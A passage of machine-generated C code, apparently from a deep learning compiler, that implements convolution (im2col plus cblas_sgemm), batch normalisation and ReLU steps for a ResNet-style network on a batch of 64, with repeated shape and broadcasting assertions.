= x12053 % 3;\nint32_t x12064 = x12055 * x12028;\nint32_t x12065 = x12064 * x12028;\nint32_t x12066 = x12063 + x12065;\nfloat* x12067 = x12047+x12066;\nint32_t x12068 = x12052 * x11966;\nint32_t x12069 = x12068 * x11966;\nfloat* x12070 = x12043+x12069;\nfor(int x12072=0; x12072 < x12028; x12072++) {\nint32_t x12073 = x12072 * 2;\nint32_t x12074 = x12073 - 1;\nint32_t x12075 = x12074 + x12054;\nbool x12076 = x12075 < 0;\nbool x12077 = x12075 >= x11966;\nbool x12078 = x12076 || x12077;\nif (x12078) {\nint32_t x12079 = x12072 * x12028;\nfloat* x12080 = x12067+x12079;\nmemset(x12080, 0, 4 * x12028);;\n} else {\nint32_t x12079 = x12072 * x12028;\nint32_t x12095 = x12075 * x11966;\nfor(int x12083=0; x12083 < x12028; x12083++) {\nint32_t x12084 = x12083 * 2;\nint32_t x12085 = x12084 - 1;\nint32_t x12086 = x12085 + x12055;\nbool x12087 = x12086 < 0;\nbool x12088 = x12086 >= x11966;\nbool x12089 = x12087 || x12088;\nif (x12089) {\nint32_t x12090 = x12079 + x12083;\nfloat* x12091 = x12067+x12090;\nmemset(x12091, 0, 4 * 1);;\n} else {\nint32_t x12090 = x12079 + x12083;\nfloat* x12094 = x12067+x12090;\nint32_t x12096 = x12095 + x12086;\nfloat* x12097 = x12070+x12096;\nmemcpy(x12094, x12097, 4 * 1);;\n}\n\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x12029,x12035,1,x175,x12035,x12047,x12029,1,x12045,x12029);\n\n}\nint32_t x12112 = 0;\nint32_t x12113 = 1;\nx12113 *= 1;\nx12112 += 1;\nx12113 *= 1;\nx12113 *= 1;\nint32_t x12118 = x12112;\nbool x12119 = x12118 >= 2;\nif (x12119) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x12124 = x12118 == 0;\nif (x12124) {\nint32_t x12125 = x12113;\nbool x12126 = x12125 == 256;\nif (x12126) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x12133 = x12113;\nint32_t x12134 = 256 / x12133;\nbool x12135 = x12134 == 1;\nbool x12138;\nif (x454) {\nbool x12136 = 256 == x12134;\nbool x12137 = x12135 || x12136;\nx12138 = x12137;\n} else {\nx12138 = false;\n}\nbool x12142;\nif (x12138) {\nx12142 = x12141;\n} else {\nx12142 = false;\n}\nbool x12143;\nif (x12142) {\nx12143 = x12141;\n} else {\nx12143 = false;\n}\nif (x12143) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x12028,x12028,1,x12134,1,1);\nassert(false && \"\");\n}\nbool x12149 = 256 <= x12134;\nint32_t x12150;\nif (x12149) {\nx12150 = x12134;\n} else {\nx12150 = 256;\n}\nint32_t x12159 = x12150 * x12158;\nint32_t x12160 = 64 * x12159;\nfloat* x12161 = (float*)myMalloc(x12160 * sizeof(float));;\nint32_t x12164;\nif (x12135) {\nx12164 = 0;\n} else {\nx12164 = 1;\n}\nfor(int x12165=0; x12165 < 64; x12165++) {\nint32_t x12177 = x12030 * x12165;\nint32_t x12171 = x12159 * x12165;\nfor(int x12167=0; x12167 < x12150; x12167++) {\nint32_t x12178 = x12029 * x12167;\nint32_t x12179 = x12177 + x12178;\nint32_t x12184 = x12164 * x12167;\nint32_t x12173 = x12158 * x12167;\nfor(int x12169=0; x12169 < x12152; x12169++) {\nint32_t x12180 = x12162 * x12169;\nint32_t x12181 = x12179 + x12180;\nint32_t x12175 = x12152 * x12169;\nfor(int x12170=0; x12170 < x12152; x12170++) {\nint32_t x12182 = x12163 * x12170;\nint32_t x12183 = x12181 + x12182;\nfloat x12185 = x12034[x12183];\nfloat x12186 = x229[x12184];\nint32_t x12172 = x12170 + x12171;\nint32_t x12174 = x12172 + x12173;\nint32_t x12176 = x12174 + x12175;\nfloat x12187 = x12185 - x12186;\nx12161[x12176] = x12187;\n\n}\n\n}\n\n}\n\n}\nfloat* x12197 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x12198=0; x12198 < 256; x12198++) {\nfloat x12199 = x99[x12198];\nfloat x12200 = x12199 + 1.0E-5f;\nx12197[x12198] = x12200;\n\n}\nfloat* x12204 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x12205=0; x12205 < 256; x12205++) {\nfloat x12206 = x12197[x12205];\ndouble x12207 = (double)x12206;\ndouble x12208 = sqrt(x12207);\nfloat x12209 = (float)x12208;\nx12204[x12205] = x12209;\n\n}\nint32_t x12213 = 0;\nint32_t x12214 = 1;\nx12214 *= 1;\nx12213 += 1;\nx12214 *= 1;\nx12214 *= 1;\nint32_t x12219 = x12213;\nbool x12220 = x12219 >= 2;\nif (x12220) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x12225 = x12219 == 0;\nif (x12225) {\nint32_t x12226 = x12214;\nbool x12227 = x12226 == 256;\nif (x12227) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x12234 = x12214;\nbool x12236 = x12150 == 1;\nint32_t x12235 = 256 / x12234;\nbool x12237 = x12235 == 1;\nbool x12241;\nif (x454) {\nbool x12238 = x12236 || x12237;\nbool x12239 = x12150 == x12235;\nbool x12240 = x12238 || x12239;\nx12241 = x12240;\n} else {\nx12241 = false;\n}\nbool x12245;\nif (x12241) {\nx12245 = x12244;\n} else {\nx12245 = false;\n}\nbool x12246;\nif (x12245) {\nx12246 = x12244;\n} else {\nx12246 = false;\n}\nif (x12246) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x12150,x12152,x12152,1,x12235,1,1);\nassert(false && \"\");\n}\nbool x12252 = x12150 <= x12235;\nint32_t x12253;\nif (x12252) {\nx12253 = x12235;\n} else {\nx12253 = x12150;\n}\nint32_t x12262 = x12253 * x12261;\nint32_t x12263 = 64 * x12262;\nfloat* x12264 = (float*)myMalloc(x12263 * sizeof(float));;\nint32_t x12265;\nif (x12236) {\nx12265 = 0;\n} else {\nx12265 = x12158;\n}\nint32_t x12268;\nif (x12237) {\nx12268 = 0;\n} else {\nx12268 = 1;\n}\nfor(int x12269=0; x12269 < 64; x12269++) {\nint32_t x12281 = x12159 * x12269;\nint32_t x12275 = x12262 * x12269;\nfor(int x12271=0; x12271 < x12253; x12271++) {\nint32_t x12282 = x12265 * x12271;\nint32_t x12283 = x12281 + x12282;\nint32_t x12288 = x12268 * x12271;\nint32_t x12277 = x12261 * x12271;\nfor(int x12273=0; x12273 < x12255; x12273++) {\nint32_t x12284 = x12266 * x12273;\nint32_t x12285 = x12283 + x12284;\nint32_t x12279 = x12255 * x12273;\nfor(int x12274=0; x12274 < x12255; x12274++) {\nint32_t x12286 = x12267 * x12274;\nint32_t x12287 = x12285 + x12286;\nfloat x12289 = x12161[x12287];\nfloat x12290 = x12204[x12288];\nint32_t x12276 = x12274 + x12275;\nint32_t x12278 = x12276 + x12277;\nint32_t x12280 = x12278 + x12279;\nfloat x12291 = x12289 / x12290;\nx12264[x12280] = x12291;\n\n}\n\n}\n\n}\n\n}\nint32_t x12301 = 0;\nint32_t x12302 = 1;\nx12302 *= 1;\nx12301 += 1;\nx12302 *= 1;\nx12302 *= 1;\nint32_t x12307 = x12301;\nbool x12308 = x12307 >= 2;\nif (x12308) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x12313 = x12307 == 0;\nif (x12313) {\nint32_t x12314 = x12302;\nbool x12315 = x12314 == 256;\nif (x12315) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x12322 = x12302;\nbool x12324 = x12253 == 1;\nint32_t x12323 = 256 / x12322;\nbool x12325 = x12323 == 1;\nbool x12329;\nif (x454) {\nbool x12326 = x12324 || x12325;\nbool x12327 = x12253 == x12323;\nbool x12328 = x12326 || x12327;\nx12329 = x12328;\n} else {\nx12329 = false;\n}\nbool x12333;\nif (x12329) {\nx12333 = x12332;\n} else {\nx12333 = false;\n}\nbool x12334;\nif (x12333) {\nx12334 = x12332;\n} else {\nx12334 = false;\n}\nif (x12334) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x12253,x12255,x12255,1,x12323,1,1);\nassert(false && \"\");\n}\nbool x12340 = x12253 <= x12323;\nint32_t x12341;\nif (x12340) {\nx12341 = x12323;\n} else {\nx12341 = x12253;\n}\nint32_t x12350 = x12341 * x12349;\nint32_t x12351 = 64 * x12350;\nfloat* x12352 = (float*)myMalloc(x12351 * sizeof(float));;\nint32_t x12353;\nif (x12324) {\nx12353 = 0;\n} else {\nx12353 = x12261;\n}\nint32_t x12356;\nif (x12325) {\nx12356 = 0;\n} else {\nx12356 = 1;\n}\nfor(int x12357=0; x12357 < 64; x12357++) {\nint32_t x12369 = x12262 * x12357;\nint32_t x12363 = x12350 * x12357;\nfor(int x12359=0; x12359 < x12341; x12359++) {\nint32_t x12370 = x12353 * x12359;\nint32_t x12371 = x12369 + x12370;\nint32_t x12376 = x12356 * x12359;\nint32_t x12365 = x12349 * x12359;\nfor(int x12361=0; x12361 < x12343; x12361++) {\nint32_t x12372 = x12354 * x12361;\nint32_t x12373 = x12371 + x12372;\nint32_t x12367 = x12343 * x12361;\nfor(int x12362=0; x12362 < x12343; x12362++) {\nint32_t x12374 = x12355 * x12362;\nint32_t x12375 = x12373 + x12374;\nfloat x12377 = x12264[x12375];\nfloat x12378 = x108[x12376];\nint32_t x12364 = x12362 + x12363;\nint32_t x12366 = x12364 + x12365;\nint32_t x12368 = x12366 + x12367;\nfloat x12379 = x12377 * x12378;\nx12352[x12368] = x12379;\n\n}\n\n}\n\n}\n\n}\nint32_t x12389 = 0;\nint32_t x12390 = 1;\nx12390 *= 1;\nx12389 += 1;\nx12390 *= 1;\nx12390 *= 1;\nint32_t x12395 = x12389;\nbool x12396 = x12395 >= 2;\nif (x12396) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x12401 = x12395 == 0;\nif (x12401) {\nint32_t x12402 = x12390;\nbool x12403 = x12402 == 256;\nif (x12403) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x12410 = x12390;\nbool x12412 = x12341 == 1;\nint32_t x12411 = 256 / x12410;\nbool x12413 = x12411 == 1;\nbool x12417;\nif (x454) {\nbool x12414 = x12412 || x12413;\nbool x12415 = x12341 == x12411;\nbool x12416 = x12414 || x12415;\nx12417 = x12416;\n} else {\nx12417 = false;\n}\nbool x12421;\nif (x12417) {\nx12421 = x12420;\n} else {\nx12421 = false;\n}\nbool x12422;\nif (x12421) {\nx12422 = x12420;\n} else {\nx12422 = false;\n}\nif (x12422) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x12341,x12343,x12343,1,x12411,1,1);\nassert(false && \"\");\n}\nbool x12428 = x12341 <= x12411;\nint32_t x12429;\nif (x12428) {\nx12429 = x12411;\n} else {\nx12429 = x12341;\n}\nint32_t x12438 = x12429 * x12437;\nint32_t x12439 = 64 * x12438;\nfloat* x12440 = (float*)myMalloc(x12439 * sizeof(float));;\nint32_t x12441;\nif (x12412) {\nx12441 = 0;\n} else {\nx12441 = x12349;\n}\nint32_t x12444;\nif (x12413) {\nx12444 = 0;\n} else {\nx12444 = 1;\n}\nfor(int x12445=0; x12445 < 64; x12445++) {\nint32_t x12457 = x12350 * x12445;\nint32_t x12451 = x12438 * x12445;\nfor(int x12447=0; x12447 < x12429; x12447++) {\nint32_t x12458 = x12441 * x12447;\nint32_t x12459 = x12457 + x12458;\nint32_t x12464 = x12444 * x12447;\nint32_t x12453 = x12437 * x12447;\nfor(int x12449=0; x12449 < x12431; x12449++) {\nint32_t x12460 = x12442 * x12449;\nint32_t x12461 = x12459 + x12460;\nint32_t x12455 = x12431 * x12449;\nfor(int x12450=0; x12450 < x12431; x12450++) {\nint32_t x12462 = x12443 * x12450;\nint32_t x12463 = x12461 + x12462;\nfloat x12465 = x12352[x12463];\nfloat x12466 = x16[x12464];\nint32_t x12452 = x12450 + x12451;\nint32_t x12454 = x12452 + x12453;\nint32_t x12456 = x12454 + x12455;\nfloat x12467 = x12465 + x12466;\nx12440[x12456] = x12467;\n\n}\n\n}\n\n}\n\n}\nfloat* x12477 = (float*)myMalloc(x12439 * sizeof(float));;\nfor(int x12479=0; x12479 < x12439; x12479++) {\nfloat x12480 = x12440[x12479];\nbool x12481 = x12480 < 0.0f;\nif (x12481) {\nx12477[x12479] = 0.0f;\n} else {\nfloat x12484 = x12440[x12479];\nx12477[x12479] = x12484;\n}\n\n}\nfloat* x12498 = (float*)myMalloc(x12497 * sizeof(float));;\nint32_t x12501 = 64 * x12429;\nint32_t x12502 = x12501 * x12493;\nfloat* x12503 = (float*)myMalloc(x12502 * sizeof(float));;\nint32_t x12499 = x12429 * x12493;\nfor(int x12504=0; x12504 < 64; x12504++) {\nint32_t x12505 = x12504 * x12438;\nfloat* x12506 = x12477+x12505;\nint32_t x12507 = x12504 * x12494;\nfloat* x12508 = x12498+x12507;\nint32_t x12509 = x12504 * x12499;\nfloat* x12510 = x12503+x12509;\nfor(int x12511=0; x12511 < x12429; x12511++) {\nint32_t x12512 = x12511 / 1;\nint32_t x12516 = x12512 * x12492;\nint32_t x12517 = x12516 * x12492;\nint32_t x12513 = x12511 % 1;\nint32_t x12514 = x12513 / 1;\nint32_t x12518 = x12514 * x12492;\nint32_t x12519 = x12518 * x12492;\nint32_t x12520 = x12517 + x12519;\nint32_t x12515 = x12513 % 1;\nint32_t x12521 = x12515 * x12492;\nint32_t x12522 = x12521 * x12492;\nint32_t x12523 = x12520 + x12522;\nfloat* x12524 = x12510+x12523;\nint32_t x12525 = x12512 * x12431;\nint32_t x12526 = x12525 * x12431;\nfloat* x12527 = x12506+x12526;\nfor(int x12529=0; x12529 < x12492; x12529++) {\nint32_t x12531 = x12529 * x12492;\nfloat* x12532 = x12524+x12531;\nint32_t x12530 = x12529 + x12514;\nint32_t x12533 = x12530 * x12431;\nint32_t x12534 = x12533 + x12515;\nfloat* x12535 = x12527+x12534;\nmemcpy(x12532, x12535, 4 * x12492);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 1024,x12493,x12429,1,x269,x12429,x12510,x12493,1,x12508,x12493);\n\n}\nint32_t x12544 = 0;\nint32_t x12545 = 1;\nx12545 *= 1;\nx12544 += 1;\nx12545 *= 1;\nx12545 *= 1;\nint32_t x12550 = x12544;\nbool x12551 = x12550 >= 2;\nif (x12551) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x12556 = x12550 == 0;\nif (x12556) {\nint32_t x12557 = x12545;\nbool x12558 = x12557 == 1024;\nif (x12558) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x12565 = x12545;\nint32_t x12566 = 1024 / x12565;\nbool x12567 = x12566 == 1;\nbool x12570;\nif (x454) {\nbool x12568 = 1024 == x12566;\nbool x12569 = x12567 || x12568;\nx12570 = x12569;\n} else {\nx12570 = false;\n}\nbool x12574;\nif (x12570) {\nx12574 = x12573;\n} else {\nx12574 = false;\n}\nbool x12575;\nif (x12574) {\nx12575 = x12573;\n} else {\nx12575 = false;\n}\nif (x12575) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,1024,x12492,x12492,1,x12566,1,1);\nassert(false && \"\");\n}\nbool x12581 = 1024 <= x12566;\nint32_t x12582;\nif (x12581) {\nx12582 = x12566;\n} else {\nx12582 = 1024;\n}\nint32_t x12591 = x12582 * x12590;\nint32_t x12592 = 64 * x12591;\nfloat* x12593 = (float*)myMalloc(x12592 * sizeof(float));;\nint32_t x12596;\nif (x12567) {\nx12596 = 0;\n} else {\nx12596 = 1;\n}\nfor(int x12597=0; x12597 < 64; x12597++) {\nint32_t x12609 = x12494 * x12597;\nint32_t x12603 = x12591 * x12597;\nfor(int x12599=0; x12599 < x12582; x12599++) {\nint32_t x12610 = x12493 * x12599;\nint32_t x12611 = x12609 + x12610;\nint32_t x12616 = x12596 * x12599;\nint32_t x12605 = x12590 * x12599;\nfor(int x12601=0; x12601 < x12584; x12601++) {\nint32_t x12612 = x12594 * x12601;\nint32_t x12613 = x12611 + x12612;\nint32_t x12607 = x12584 * x12601;\nfor(int x12602=0; x12602 < x12584; x12602++) {\nint32_t x12614 = x12595 * x12602;\nint32_t x12615 = x12613 + x12614;\nfloat x12617 = x12498[x12615];\nfloat x12618 = x216[x12616];\nint32_t x12604 = x12602 + x12603;\nint32_t x12606 = x12604 + x12605;\nint32_t x12608 = x12606 + x12607;\nfloat x12619 = x12617 - x12618;\nx12593[x12608] = x12619;\n\n}\n\n}\n\n}\n\n}\nfloat* x12629 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x12631=0; x12631 < 1024; x12631++) {\nfloat x12632 = x267[x12631];\nfloat x12633 = x12632 + 1.0E-5f;\nx12629[x12631] = x12633;\n\n}\nfloat* x12637 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x12638=0; x12638 < 1024; x12638++) {\nfloat x12639 = x12629[x12638];\ndouble x12640 = (double)x12639;\ndouble x12641 = sqrt(x12640);\nfloat x12642 = (float)x12641;\nx12637[x12638] = x12642;\n\n}\nint32_t x12646 = 0;\nint32_t x12647 = 1;\nx12647 *= 1;\nx12646 += 1;\nx12647 *= 1;\nx12647 *= 1;\nint32_t x12652 = x12646;\nbool x12653 = x12652 >= 2;\nif (x12653) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x12658 = x12652 == 0;\nif (x12658) {\nint32_t x12659 = x12647;\nbool x12660 = x12659 == 1024;\nif (x12660) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x12667 = x12647;\nbool x12669 = x12582 == 1;\nint32_t x12668 = 1024 / x12667;\nbool x12670 = x12668 == 1;\nbool x12674;\nif (x454) {\nbool x12671 = x12669 || x12670;\nbool x12672 = x12582 == x12668;\nbool x12673 = x12671 || x12672;\nx12674 = x12673;\n} else {\nx12674 = false;\n}\nbool x12678;\nif (x12674) {\nx12678 = x12677;\n} else {\nx12678 = false;\n}\nbool x12679;\nif (x12678) {\nx12679 = x12677;\n} else {\nx12679 = false;\n}\nif (x12679) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x12582,x12584,x12584,1,x12668,1,1);\nassert(false && \"\");\n}\nbool x12685 = x12582 <= x12668;\nint32_t x12686;\nif (x12685) {\nx12686 = x12668;\n} else {\nx12686 = x12582;\n}\nint32_t x12695 = x12686 * x12694;\nint32_t x12696 = 64 * x12695;\nfloat* x12697 = (float*)myMalloc(x12696 * sizeof(float));;\nint32_t x12698;\nif (x12669) {\nx12698 = 0;\n} else {\nx12698 = x12590;\n}\nint32_t x12701;\nif (x12670) {\nx12701 = 0;\n} else {\nx12701 = 1;\n}\nfor(int x12702=0; x12702 < 64; x12702++) {\nint32_t x12714 = x12591 * x12702;\nint32_t x12708 = x12695 * x12702;\nfor(int x12704=0; x12704 < x12686; x12704++) {\nint32_t x12715 = x12698 * x12704;\nint32_t x12716 = x12714 + x12715;\nint32_t x12721 = x12701 * x12704;\nint32_t x12710 = x12694 * x12704;\nfor(int x12706=0; x12706 < x12688; x12706++) {\nint32_t x12717 = x12699 * x12706;\nint32_t x12718 = x12716 + x12717;\nint32_t x12712 = x12688 * x12706;\nfor(int x12707=0; x12707 < x12688; x12707++) {\nint32_t x12719 = x12700 * x12707;\nint32_t x12720 = x12718 + x12719;\nfloat x12722 = x12593[x12720];\nfloat x12723 = x12637[x12721];\nint32_t x12709 = x12707 + x12708;\nint32_t x12711 = x12709 + x12710;\nint32_t x12713 = x12711 + x12712;\nfloat x12724 = x12722 / x12723;\nx12697[x12713] = x12724;\n\n}\n\n}\n\n}\n\n}\nint32_t x12734 = 0;\nint32_t x12735 = 1;\nx12735 *= 1;\nx12734 += 1;\nx12735 *= 1;\nx12735 *= 1;\nint32_t x12740 = x12734;\nbool x12741 = x12740 >= 2;\nif (x12741) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x12746 = x12740 == 0;\nif (x12746) {\nint32_t x12747 = x12735;\nbool x12748 = x12747 == 1024;\nif (x12748) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x12755 = x12735;\nbool x12757 = x12686 == 1;\nint32_t x12756 = 1024 / x12755;\nbool x12758 = x12756 == 1;\nbool x12762;\nif (x454) {\nbool x12759 = x12757 || x12758;\nbool x12760 = x12686 == x12756;\nbool x12761 = x12759 || x12760;\nx12762 = x12761;\n} else {\nx12762 = false;\n}\nbool x12766;\nif (x12762) {\nx12766 = x12765;\n} else {\nx12766 = false;\n}\nbool x12767;\nif (x12766) {\nx12767 = x12765;\n} else {\nx12767 = false;\n}\nif (x12767) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x12686,x12688,x12688,1,x12756,1,1);\nassert(false && \"\");\n}\nbool x12773 = x12686 <= x12756;\nint32_t x12774;\nif (x12773) {\nx12774 = x12756;\n} else {\nx12774 = x12686;\n}\nint32_t x12783 = x12774 * x12782;\nint32_t x12784 = 64 * x12783;\nfloat* x12785 = (float*)myMalloc(x12784 * sizeof(float));;\nint32_t x12786;\nif (x12757) {\nx12786 = 0;\n} else {\nx12786 = x12694;\n}\nint32_t x12789;\nif (x12758) {\nx12789 = 0;\n} else {\nx12789 = 1;\n}\nfor(int x12790=0; x12790 < 64; x12790++) {\nint32_t x12802 = x12695 * x12790;\nint32_t x12796 = x12783 * x12790;\nfor(int x12792=0; x12792 < x12774; x12792++) {\nint32_t x12803 = x12786 * x12792;\nint32_t x12804 = x12802 + x12803;\nint32_t x12809 = x12789 * x12792;\nint32_t x12798 = x12782 * x12792;\nfor(int x12794=0; x12794 < x12776; x12794++) {\nint32_t x12805 = x12787 * x12794;\nint32_t x12806 = x12804 + x12805;\nint32_t x12800 = x12776 * x12794;\nfor(int x12795=0; x12795 < x12776; x12795++) {\nint32_t x12807 = x12788 * x12795;\nint32_t x12808 = x12806 + x12807;\nfloat x12810 = x12697[x12808];\nfloat x12811 = x18[x12809];\nint32_t x12797 = x12795 + x12796;\nint32_t x12799 = x12797 + x12798;\nint32_t x12801 = x12799 + x12800;\nfloat x12812 = x12810 * x12811;\nx12785[x12801] = x12812;\n\n}\n\n}\n\n}\n\n}\nint32_t x12822 = 0;\nint32_t x12823 = 1;\nx12823 *= 1;\nx12822 += 1;\nx12823 *= 1;\nx12823 *= 1;\nint32_t x12828 = x12822;\nbool x12829 = x12828 >= 2;\nif (x12829) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x12834 = x12828 == 0;\nif (x12834) {\nint32_t x12835 = x12823;\nbool x12836 = x12835 == 1024;\nif (x12836) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x12843 = x12823;\nbool x12845 = x12774 == 1;\nint32_t x12844 = 1024 / x12843;\nbool x12846 = x12844 == 1;\nbool x12850;\nif (x454) {\nbool x12847 = x12845 || x12846;\nbool x12848 = x12774 == x12844;\nbool x12849 = x12847 || x12848;\nx12850 = x12849;\n} else {\nx12850 = false;\n}\nbool x12854;\nif (x12850) {\nx12854 = x12853;\n} else {\nx12854 = false;\n}\nbool x12855;\nif (x12854) {\nx12855 = x12853;\n} else {\nx12855 = false;\n}\nif (x12855) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x12774,x12776,x12776,1,x12844,1,1);\nassert(false && \"\");\n}\nbool x12861 = x12774 <= x12844;\nint32_t x12862;\nif (x12861) {\nx12862 = x12844;\n} else {\nx12862 = x12774;\n}\nint32_t x12871 = x12862 * x12870;\nint32_t x12872 = 64 * x12871;\nfloat* x12873 = (float*)myMalloc(x12872 * sizeof(float));;\nint32_t x12874;\nif (x12845) {\nx12874 = 0;\n} else {\nx12874 = x12782;\n}\nint32_t x12877;\nif (x12846) {\nx12877 = 0;\n} else {\nx12877 = 1;\n}\nfor(int x12878=0; x12878 < 64; x12878++) {\nint32_t x12890 = x12783 * x12878;\nint32_t x12884 = x12871 * x12878;\nfor(int x12880=0; x12880 < x12862; x12880++) {\nint32_t x12891 = x12874 * x12880;\nint32_t x12892 = x12890 + x12891;\nint32_t x12897 = x12877 * x12880;\nint32_t x12886 = x12870 * x12880;\nfor(int x12882=0; x12882 < x12864; x12882++) {\nint32_t x12893 = x12875 * x12882;\nint32_t x12894 = x12892 + x12893;\nint32_t x12888 = x12864 * x12882;\nfor(int x12883=0; x12883 < x12864; x12883++) {\nint32_t x12895 = x12876 * x12883;\nint32_t x12896 = x12894 + x12895;\nfloat x12898 = x12785[x12896];\nfloat x12899 = x117[x12897];\nint32_t x12885 = x12883 + x12884;\nint32_t x12887 = x12885 + x12886;\nint32_t x12889 = x12887 + x12888;\nfloat x12900 = x12898 + x12899;\nx12873[x12889] = x12900;\n\n}\n\n}\n\n}\n\n}\nfloat* x12917 = (float*)myMalloc(x12916 * sizeof(float));;\nint32_t x12920 = x11604 * x12912;\nfloat* x12921 = (float*)myMalloc(x12920 * sizeof(float));;\nint32_t x12918 = x11465 * x12912;\nfor(int x12922=0; x12922 < 64; x12922++) {\nint32_t x12923 = x12922 * x11474;\nfloat* x12924 = x11580+x12923;\nint32_t x12925 = x12922 * x12913;\nfloat* x12926 = x12917+x12925;\nint32_t x12927 = x12922 * x12918;\nfloat* x12928 = x12921+x12927;\nfor(int x12929=0; x12929 < x11465; x12929++) {\nint32_t x12930 = x12929 / 1;\nint32_t x12934 = x12930 * x12911;\nint32_t x12935 = x12934 * x12911;\nint32_t x12931 = x12929 % 1;\nint32_t x12932 = x12931 / 1;\nint32_t x12936 = x12932 * x12911;\nint32_t x12937 = x12936 * x12911;\nint32_t x12938 = x12935 + x12937;\nint32_t x12933 = x12931 % 1;\nint32_t x12939 = x12933 * x12911;\nint32_t x12940 = x12939 * x12911;\nint32_t x12941 = x12938 + x12940;\nfloat* x12942 = x12928+x12941;\nint32_t x12943 = x12930 * x11467;\nint32_t x12944 = x12943 * x11467;\nfloat* x12945 = x12924+x12944;\nfor(int x12947=0; x12947 < x12911; x12947++) {\nint32_t x12951 = x12947 * x12911;\nint32_t x12948 = x12947 * 2;\nint32_t x12949 = x12948 + x12932;\nint32_t x12954 = x12949 * x11467;\nint32_t x12955 = x12954 + x12933;\nfor(int x12950=0; x12950 < x12911; x12950++) {\nint32_t x12952 = x12951 + x12950;\nfloat* x12953 = x12942+x12952;\nint32_t x12956 = x12950 * 2;\nint32_t x12957 = x12955 + x12956;\nfloat* x12958 = x12945+x12957;\nmemcpy(x12953, x12958, 4 * 1);;\n\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 1024,x12912,x11465,1,x75,x11465,x12928,x12912,1,x12926,x12912);\n\n}\nint32_t x12969 = 0;\nint32_t x12970 = 1;\nx12970 *= 1;\nx12969 += 1;\nx12970 *= 1;\nx12970 *= 1;\nint32_t x12975 = x12969;\nbool x12976 = x12975 >= 2;\nif (x12976) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x12981 = x12975 == 0;\nif (x12981) {\nint32_t x12982 = x12970;\nbool x12983 = x12982 == 1024;\nif (x12983) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x12990 = x12970;\nint32_t x12991 = 1024 / x12990;\nbool x12992 = x12991 == 1;\nbool x12995;\nif (x454) {\nbool x12993 = 1024 == x12991;\nbool x12994 = x12992 || x12993;\nx12995 = x12994;\n} else {\nx12995 = false;\n}\nbool x12999;\nif (x12995) {\nx12999 = x12998;\n} else {\nx12999 = false;\n}\nbool x13000;\nif (x12999) {\nx13000 = x12998;\n} else {\nx13000 = false;\n}\nif (x13000) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,1024,x12911,x12911,1,x12991,1,1);\nassert(false && \"\");\n}\nbool x13006 = 1024 <= x12991;\nint32_t x13007;\nif (x13006) {\nx13007 = x12991;\n} else {\nx13007 = 1024;\n}\nint32_t x13016 = x13007 * x13015;\nint32_t x13017 = 64 * x13016;\nfloat* x13018 = (float*)myMalloc(x13017 * sizeof(float));;\nint32_t x13021;\nif (x12992) {\nx13021 = 0;\n} else {\nx13021 = 1;\n}\nfor(int x13022=0; x13022 < 64; x13022++) {\nint32_t x13034 = x12913 * x13022;\nint32_t x13028 = x13016 * x13022;\nfor(int x13024=0; x13024 < x13007; x13024++) {\nint32_t x13035 = x12912 * x13024;\nint32_t x13036 = x13034 + x13035;\nint32_t x13041 = x13021 * x13024;\nint32_t x13030 = x13015 * x13024;\nfor(int x13026=0; x13026 < x13009; x13026++) {\nint32_t x13037 = x13019 * x13026;\nint32_t x13038 = x13036 + x13037;\nint32_t x13032 = x13009 * x13026;\nfor(int x13027=0; x13027 < x13009; x13027++) {\nint32_t x13039 = x13020 * x13027;\nint32_t x13040 = x13038 + x13039;\nfloat x13042 = x12917[x13040];\nfloat x13043 = 